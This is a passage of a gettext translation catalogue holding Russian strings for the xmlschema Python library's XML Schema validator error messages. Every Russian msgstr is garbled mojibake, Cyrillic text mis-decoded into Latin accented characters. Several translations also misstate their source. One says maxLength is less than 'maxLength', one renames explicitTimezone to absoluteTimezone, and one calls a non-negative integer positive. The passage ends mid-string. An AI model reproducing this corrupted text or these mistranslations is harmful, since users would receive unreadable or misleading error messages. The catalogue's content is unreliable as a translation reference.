"Đ—Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'length' Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ»Đ¾Đ¶Đ¸Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼ Ñ†ĐµĐ»Ñ‹Đ¼ Ñ‡Đ¸ÑĐ»Đ¾Đ¼" #: xmlschema/validators/simple_types.py:163 msgid "'minLength' value must be less than or equal to 'length'" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'minLength' Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ 'length'" #: xmlschema/validators/simple_types.py:170 msgid "cannot specify both 'length' and 'minLength'" msgstr "Đ½ĐµĐ»ÑŒĐ·Ñ ÑƒĐºĐ°Đ·Ñ‹Đ²Đ°Ñ‚ÑŒ Đ¾Đ´Đ½Đ¾Đ²Ñ€ĐµĐ¼ĐµĐ½Đ½Đ¾ 'length' и 'minLength'" #: xmlschema/validators/simple_types.py:175 msgid "'maxLength' value must be greater or equal to 'length'" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'maxLength' Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ±Đ¾Đ»ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ 'length'" #: xmlschema/validators/simple_types.py:183 msgid "cannot specify both 'length' and 'maxLength'" msgstr "Đ½ĐµĐ»ÑŒĐ·Ñ ÑƒĐºĐ°Đ·Ñ‹Đ²Đ°Ñ‚ÑŒ Đ¾Đ´Đ½Đ¾Đ²Ñ€ĐµĐ¼ĐµĐ½Đ½Đ¾ 'length' и 'maxLength'" #: xmlschema/validators/simple_types.py:192 msgid "'minLength' value must be a non negative integer" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'minLength' Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ»Đ¾Đ¶Đ¸Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼ Ñ†ĐµĐ»Ñ‹Đ¼ Ñ‡Đ¸ÑĐ»Đ¾Đ¼" #: xmlschema/validators/simple_types.py:195 msgid "'maxLength' value is less than 'minLength'" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'maxLength' Đ¼ĐµĐ½ÑŒÑˆĐµ Ñ‡ĐµĐ¼ 'maxLength'" #: xmlschema/validators/simple_types.py:198 msgid "'minLength' has a lesser value than parent" msgstr "'minLength' Đ¸Đ¼ĐµĐµÑ‚ Đ¼ĐµĐ½ÑŒÑˆĐµĐµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ, Ñ‡ĐµĐ¼ у Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»Ñ" #: xmlschema/validators/simple_types.py:201 msgid "'minLength' has a greater value than parent 'maxLength'" msgstr "'minLength' Đ¸Đ¼ĐµĐµÑ‚ Đ±Đ¾Đ»ÑŒÑˆĐµĐµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ, Ñ‡ĐµĐ¼ Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒÑĐºĐ¸Đ¹ 'maxLength'" #: xmlschema/validators/simple_types.py:206 msgid "'maxLength' value must be a non negative integer" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'maxLength' Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ½Đµ Đ¾Ñ‚Ñ€Đ¸Ñ†Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼ Ñ†ĐµĐ»Ñ‹Đ¼ Ñ‡Đ¸ÑĐ»Đ¾Đ¼" #: xmlschema/validators/simple_types.py:209 msgid "'maxLength' has a lesser value than parent 'minLength'" msgstr "'maxLength' Đ¸Đ¼ĐµĐµÑ‚ Đ¼ĐµĐ½ÑŒÑˆĐµĐµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ, Ñ‡ĐµĐ¼ Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒÑĐºĐ¸Đ¹ 'minLength'" #: xmlschema/validators/simple_types.py:212 msgid "'maxLength' has a greater value than parent" msgstr "'maxLength' Đ¸Đ¼ĐµĐµÑ‚ Đ±Đ¾Đ»ÑŒÑˆĐµĐµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ, Ñ‡ĐµĐ¼ у Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»Ñ" #: xmlschema/validators/simple_types.py:223 msgid "cannot specify both 'minInclusive' and 'minExclusive'" msgstr "Đ½ĐµĐ»ÑŒĐ·Ñ ÑƒĐºĐ°Đ·Ñ‹Đ²Đ°Ñ‚ÑŒ Đ¾Đ´Đ½Đ¾Đ²Ñ€ĐµĐ¼ĐµĐ½Đ½Đ¾ 'minInclusive' и 'minExclusive'" #: xmlschema/validators/simple_types.py:226 msgid "'minInclusive' must be less or equal to 'maxInclusive'" msgstr "'minInclusive' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²ĐµĐ½ 'maxInclusive'" #: xmlschema/validators/simple_types.py:229 msgid "'minInclusive' must be lesser than 'maxExclusive'" msgstr "'minInclusive' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ, Ñ‡ĐµĐ¼ 'maxExclusive'" #: xmlschema/validators/simple_types.py:234 msgid "'minExclusive' must be lesser than 'maxInclusive'" msgstr "'minExclusive' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ, Ñ‡ĐµĐ¼ 'maxInclusive'" #: xmlschema/validators/simple_types.py:237 msgid "'minExclusive' must be less or equal to 'maxExclusive'" msgstr "'minExclusive' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²ĐµĐ½ 'maxExclusive'" #: xmlschema/validators/simple_types.py:241 msgid "cannot specify both 'maxInclusive' and 'maxExclusive'" msgstr "Đ½ĐµĐ»ÑŒĐ·Ñ ÑƒĐºĐ°Đ·Ñ‹Đ²Đ°Ñ‚ÑŒ Đ¾Đ´Đ½Đ¾Đ²Ñ€ĐµĐ¼ĐµĐ½Đ½Đ¾ 'maxInclusive' и 'maxExclusive'" #: xmlschema/validators/simple_types.py:247 msgid "" "fractionDigits facet value cannot be lesser than the value of totalDigits " "facet" msgstr "" "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° FractionDigits Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ Đ½Đ°Đ±Đ¾Ñ€Đ° " "totalDigits" #: xmlschema/validators/simple_types.py:253 msgid "" "totalDigits facet value cannot be greater than the value of the same facet " "in the base type" msgstr "" "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° totalDigits Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ±Đ¾Đ»ÑŒÑˆĐµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ Ñ‚Đ¾Đ³Đ¾ же Đ½Đ°Đ±Đ¾Ñ€Đ° Đ² " "Đ±Đ°Đ·Đ¾Đ²Đ¾Đ¼ Ñ‚Đ¸Đ¿Đµ" #: xmlschema/validators/simple_types.py:262 #, python-format msgid "" "the explicitTimezone facet value cannot be changed if the base type has the " "same facet with value %r" msgstr "" "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° absoluteTimezone Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ¸Đ·Đ¼ĐµĐ½ĐµĐ½Đ¾, еÑли Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ " "Đ¸Đ¼ĐµĐµÑ‚ Ñ‚Đ¾Ñ‚ же Đ½Đ°Đ±Đ¾Ñ€ ÑĐ¾ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸ĐµĐ¼ %r" #: xmlschema/validators/simple_types.py:460 msgid "a {0!r} or {1!r} object required" msgstr "Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Đ¾Đ±ÑĐµĐºÑ‚ {0!r} или {1!r}" #: xmlschema/validators/simple_types.py:615 msgid "value is not an instance of {!r}" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€Đ¾Đ¼ {!r}" #: xmlschema/validators/simple_types.py:640 #: xmlschema/validators/simple_types.py:753 #: xmlschema/validators/simple_types.py:1107 msgid "invalid value {!r}" msgstr "Đ½ĐµĐ²ĐµÑ€Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {!r}" #: xmlschema/validators/simple_types.py:665 #, python-format msgid "unmapped prefix %r in a QName" msgstr "Đ½ĐµÑĐ¾Đ¿Đ¾ÑÑ‚Đ°Đ²Đ»ĐµĐ½Đ½Ñ‹Đ¹ Đ¿Ñ€ĐµÑ„Đ¸ĐºÑ %r Đ² QName" #: xmlschema/validators/simple_types.py:699 #: xmlschema/validators/simple_types.py:711 msgid "duplicated xs:ID value {!r}" msgstr "Đ´ÑƒĐ±Đ»Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ xs:ID {!r}" #: xmlschema/validators/simple_types.py:706 msgid "no more than one attribute of type ID should be present in an element" msgstr "Đ² ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ¿Ñ€Đ¸ÑутÑÑ‚Đ²Đ¾Đ²Đ°Ñ‚ÑŒ Đ½Đµ Đ±Đ¾Đ»ĐµĐµ Đ¾Đ´Đ½Đ¾Đ³Đ¾ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° Ñ‚Đ¸Đ¿Đ° ID" #: xmlschema/validators/simple_types.py:731 msgid "boolean value {0!r} requires a {1!r} decoder" msgstr "Đ»Đ¾Đ³Đ¸Ñ‡ĐµÑĐºĐ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {0!r} Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ Đ´ĐµĐºĐ¾Đ´ĐµÑ€Đ° {1!r}" #: xmlschema/validators/simple_types.py:736 msgid "{0!r} is not an instance of {1!r}" msgstr "{0!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€Đ¾Đ¼ {1!r}" #: xmlschema/validators/simple_types.py:824 #, python-format msgid "%r: a list must be based on atomic data types" msgstr "%r: ÑĐ¿Đ¸ÑĐ¾Đº Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ¾ÑĐ½Đ¾Đ²Đ°Đ½ Đ½Đ° Đ°Ñ‚Đ¾Đ¼Đ°Ñ€Đ½Ñ‹Ñ… Ñ‚Đ¸Đ¿Đ°Ñ… Đ´Đ°Đ½Đ½Ñ‹Ñ…" #: xmlschema/validators/simple_types.py:843 msgid "ambiguous list type declaration" msgstr "Đ½ĐµĐ¾Đ´Đ½Đ¾Đ·Đ½Đ°Ñ‡Đ½Đ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Ñ‚Đ¸Đ¿Đ° ÑĐ¿Đ¸ÑĐºĐ°" #: xmlschema/validators/simple_types.py:851 msgid "missing list type declaration" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒÑÑ‰ĐµĐµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Ñ‚Đ¸Đ¿Đ° ÑĐ¿Đ¸ÑĐºĐ°" #: xmlschema/validators/simple_types.py:864 msgid "circular definition found for type {!r}" msgstr "Ñ†Đ¸ĐºĐ»Đ¸Ñ‡ĐµÑĐºĐ¾Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Đ½Đ°Đ¹Đ´ĐµĐ½Đ¾ Đ´Đ»Ñ Ñ‚Đ¸Đ¿Đ° {!r}" #: xmlschema/validators/simple_types.py:869 #, python-format msgid "'final' value of the itemType %r forbids derivation by list" msgstr "'final' Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ itemType %r Đ·Đ°Đ¿Ñ€ĐµÑ‰Đ°ĐµÑ‚ Đ²Ñ‹Đ²Đ¾Đ´ Đ¿Đ¾ ÑĐ¿Đ¸ÑĐºÑƒ" #: xmlschema/validators/simple_types.py:873 #: xmlschema/validators/simple_types.py:1048 #: xmlschema/validators/simple_types.py:1335 msgid "cannot use xs:anyAtomicType as base type of a user-defined type" msgstr "" "Đ½ĐµĐ»ÑŒĐ·Ñ Đ¸ÑĐ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Ñ‚ÑŒ xs:anyAtomicType Đ² ĐºĐ°Ñ‡ĐµÑÑ‚Đ²Đµ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ° Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ÑĐµĐ¼Đ¾Đ³Đ¾ " "Đ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Ñ‚ĐµĐ»ĐµĐ¼ Ñ‚Đ¸Đ¿Đ°" #: xmlschema/validators/simple_types.py:996 #, python-format msgid "wrong value %r for attribute 'white_space'" msgstr "Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'white_space'" #: xmlschema/validators/simple_types.py:1031 msgid "circular definition found on xs:union type {!r}" msgstr "Ñ†Đ¸ĐºĐ»Đ¸Ñ‡ĐµÑĐºĐ¾Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Đ½Đ°Đ¹Đ´ĐµĐ½Đ¾ Đ² xs:union type {!r}" #: xmlschema/validators/simple_types.py:1035 msgid "a {0!r} required, not {1!r}" msgstr "Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ {0!r}, а Đ½Đµ {1!r}" #: xmlschema/validators/simple_types.py:1039 #, python-format msgid "'final' value of the memberTypes %r forbids derivation by union" msgstr "'final' Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ memberTypes %r Đ·Đ°Đ¿Ñ€ĐµÑ‰Đ°ĐµÑ‚ Đ½Đ°ÑĐ»ĐµĐ´Đ¾Đ²Đ°Đ½Đ¸Đµ Đ¾Đ±ÑĐµĐ´Đ¸Đ½ĐµĐ½Đ¸ĐµĐ¼" #: xmlschema/validators/simple_types.py:1045 msgid "missing xs:union type declarations" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒÑÑ‚ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Ñ Ñ‚Đ¸Đ¿Đ° xs:union" #: xmlschema/validators/simple_types.py:1128 #, python-format msgid "no type suitable for decoding the values %r" msgstr "Đ½ĐµÑ‚ Ñ‚Đ¸Đ¿Đ°, Đ¿Đ¾Đ´Ñ…Đ¾Đ´ÑÑ‰ĐµĐ³Đ¾ Đ´Đ»Ñ Đ´ĐµĐºĐ¾Đ´Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ¸Ñ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đ¹ %r" #: xmlschema/validators/simple_types.py:1162 msgid "no type suitable for encoding the object" msgstr "Đ½ĐµÑ‚ Ñ‚Đ¸Đ¿Đ°, Đ¿Đ¾Đ´Ñ…Đ¾Đ´ÑÑ‰ĐµĐ³Đ¾ Đ´Đ»Ñ ĐºĐ¾Đ´Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ¸Ñ Đ¾Đ±ÑĐµĐºÑ‚Đ°" #: xmlschema/validators/simple_types.py:1210 msgid "'name' attribute in a local simpleType definition" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¼ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đ¸ simpleType" #: xmlschema/validators/simple_types.py:1252 #, python-format msgid "wrong base type %r, an atomic type required" msgstr "Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Ñ‹Đ¹ Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ %r, Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Đ°Ñ‚Đ¾Đ¼Đ°Ñ€Đ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿" #: xmlschema/validators/simple_types.py:1258 msgid "an xs:simpleType definition expected" msgstr "Đ¾Đ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ xs:simpleType" #: xmlschema/validators/simple_types.py:1263 msgid "" "when a complexType with simpleContent restricts a complexType with mixed and " "with emptiable content then a simpleType child declaration is required" msgstr "" "ĐºĐ¾Đ³Đ´Đ° ĐºĐ¾Đ¼Đ¿Đ»ĐµĐºÑĐ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Ñ Đ¿Ñ€Đ¾ÑÑ‚Ñ‹Đ¼ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ¾Đ¼ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡Đ¸Đ²Đ°ĐµÑ‚ ÑĐ»Đ¾Đ¶Đ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ ÑĐ¾ " "ÑĐ¼ĐµÑˆĐ°Đ½Đ½Ñ‹Đ¼ и Ñ Đ¾Ñ‡Đ¸Ñ‰Đ°ĐµĐ¼Ñ‹Đ¼ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Ñ‹Đ¼, Ñ‚Đ¾Đ³Đ´Đ° Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Đ´Đ¾Ñ‡ĐµÑ€Đ½ĐµĐ³Đ¾ " "ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ° Đ¿Ñ€Đ¾ÑÑ‚Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ°" #: xmlschema/validators/simple_types.py:1268 #, python-format msgid "simpleType restriction of %r is not allowed" msgstr "ĐĐ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ simpleType %r Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Đ¾" #: xmlschema/validators/simple_types.py:1277 msgid "unexpected tag after attribute declarations" msgstr "Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ Đ¿Đ¾Ñле Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ²" #: xmlschema/validators/simple_types.py:1282 msgid "duplicated simpleType declaration" msgstr "Đ´ÑƒĐ±Đ»Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ simpleType" #: xmlschema/validators/simple_types.py:1304 msgid "restriction with 'base' attribute and simpleType declaration" msgstr "Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ¼ base и Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸ĐµĐ¼ simpleType" #: xmlschema/validators/simple_types.py:1312 #, python-format msgid "unexpected tag %r in restriction" msgstr "Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ %r Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸" #: xmlschema/validators/simple_types.py:1318 #, python-format msgid "multiple %r constraint facet" msgstr "Đ½ĐµÑĐºĐ¾Đ»ÑŒĐºĐ¾ %r Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¹ Đ½Đ°Đ±Đ¾Ñ€Đ°" #: xmlschema/validators/simple_types.py:1330 msgid "missing base type in restriction" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸" #: xmlschema/validators/simple_types.py:1332 #, python-format msgid "'final' value of the baseType %r forbids derivation by restriction" msgstr "'final' Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ baseType %r Đ·Đ°Đ¿Ñ€ĐµÑ‰Đ°ĐµÑ‚ Đ²Ñ‹Đ²Đ¾Đ´ Đ¿Đ¾ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Ñ" #: xmlschema/validators/simple_types.py:1381 #: xmlschema/validators/simple_types.py:1430 #, python-format msgid "" "wrong base type %r: a simpleType or a complexType with simple or mixed " "content required" msgstr "" "Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Ñ‹Đ¹ Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ %r: Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ simpleType или complexType Ñ Đ¿Ñ€Đ¾ÑÑ‚Ñ‹Đ¼ " "или ÑĐ¼ĐµÑˆĐ°Đ½Đ½Ñ‹Đ¼ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Ñ‹Đ¼" #: xmlschema/validators/identities.py:86 msgid "'xpath' attribute required" msgstr "Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'xpath'" #: xmlschema/validators/identities.py:98 msgid "invalid XPath expression for an {}" msgstr "Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ²Ñ‹Ñ€Đ°Đ¶ĐµĐ½Đ¸Đµ XPath Đ´Đ»Ñ {}" #: xmlschema/validators/identities.py:182 msgid "missing required attribute 'name'" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name'" #: xmlschema/validators/identities.py:190 msgid "missing 'selector' declaration" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ 'selector'" #: xmlschema/validators/identities.py:202 msgid "unknown identity constraint {!r}" msgstr "Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ¸Đ´ĐµĐ½Ñ‚Đ¸Ñ„Đ¸ĐºĐ°Ñ†Đ¸Đ¸ {!r}" #: xmlschema/validators/identities.py:207 msgid "attribute 'ref' points to a different kind constraint" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'ref' ÑƒĐºĐ°Đ·Ñ‹Đ²Đ°ĐµÑ‚ Đ½Đ° Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ´Ñ€ÑƒĐ³Đ¾Đ³Đ¾ Đ²Đ¸Đ´Đ°" #: xmlschema/validators/identities.py:296 msgid "missing key field {0!r} for {1!r}" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ ĐºĐ»ÑÑ‡ĐµĐ²Đ¾Đµ Đ¿Đ¾Đ»Đµ {0!r} Đ´Đ»Ñ {1!r}" #: xmlschema/validators/identities.py:304 #, python-format msgid "%r field doesn't have a simple type!" msgstr "Đ¿Đ¾Đ»Đµ %r Đ½Đµ Đ¸Đ¼ĐµĐµÑ‚ Đ¿Ñ€Đ¾ÑÑ‚Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ°!" #: xmlschema/validators/identities.py:325 #, python-format msgid "%r field selects multiple values!" msgstr "Đ¿Đ¾Đ»Đµ %r Đ²Ñ‹Đ±Đ¸Ñ€Đ°ĐµÑ‚ Đ½ĐµÑĐºĐ¾Đ»ÑŒĐºĐ¾ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đ¹!" #: xmlschema/validators/identities.py:359 msgid "missing required attribute 'refer'" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'refer'" #: xmlschema/validators/identities.py:381 #, python-format msgid "key/unique identity constraint %r is missing" msgstr "Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ ĐºĐ»ÑÑ‡Đ°/ÑƒĐ½Đ¸ĐºĐ°Đ»ÑŒĐ½Đ¾Đ³Đ¾ ÑƒĐ´Đ¾ÑÑ‚Đ¾Đ²ĐµÑ€ĐµĐ½Đ¸Ñ %r Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚" #: xmlschema/validators/identities.py:386 #, python-format msgid "reference to a non key/unique identity constraint %r" msgstr "ÑÑÑ‹Đ»ĐºĐ° Đ½Đ° Đ½Đµ ĐºĐ»ÑÑ‡ĐµĐ²Đ¾Đµ/ÑƒĐ½Đ¸ĐºĐ°Đ»ÑŒĐ½Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ¸Đ´ĐµĐ½Ñ‚Đ¸Ñ„Đ¸ĐºĐ°Ñ†Đ¸Đ¸ %r" #: xmlschema/validators/identities.py:389 msgid "field cardinality mismatch between {0!r} and {1!r}" msgstr "Đ½ĐµÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²Đ¸Đµ Đ¿Đ¾Đ»Ñ Đ¼ĐµĐ¶Đ´Ñƒ {0!r} и {1!r}" #: xmlschema/validators/identities.py:459 msgid "duplicated value {0!r} for {1!r}" msgstr "Đ´ÑƒĐ±Đ»Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {0!r} Đ´Đ»Ñ {1!r}" #: xmlschema/validators/xsdbase.py:51 #, python-format msgid "validation mode can be 'strict', 'lax' or 'skip': %r" msgstr "Ñ€ĐµĐ¶Đ¸Đ¼ Đ¿Ñ€Đ¾Đ²ĐµÑ€ĐºĐ¸ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ 'strict', 'lax' или 'skip': %r" #: xmlschema/validators/xsdbase.py:254 msgid "" "wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | " "{1})." msgstr "" "Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {0!r} Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'xpathDefaultNamespace', Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ " "(anyURI | {1})." #: xmlschema/validators/xsdbase.py:405 #, python-format msgid "missing attribute 'name' in a global %r" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ² 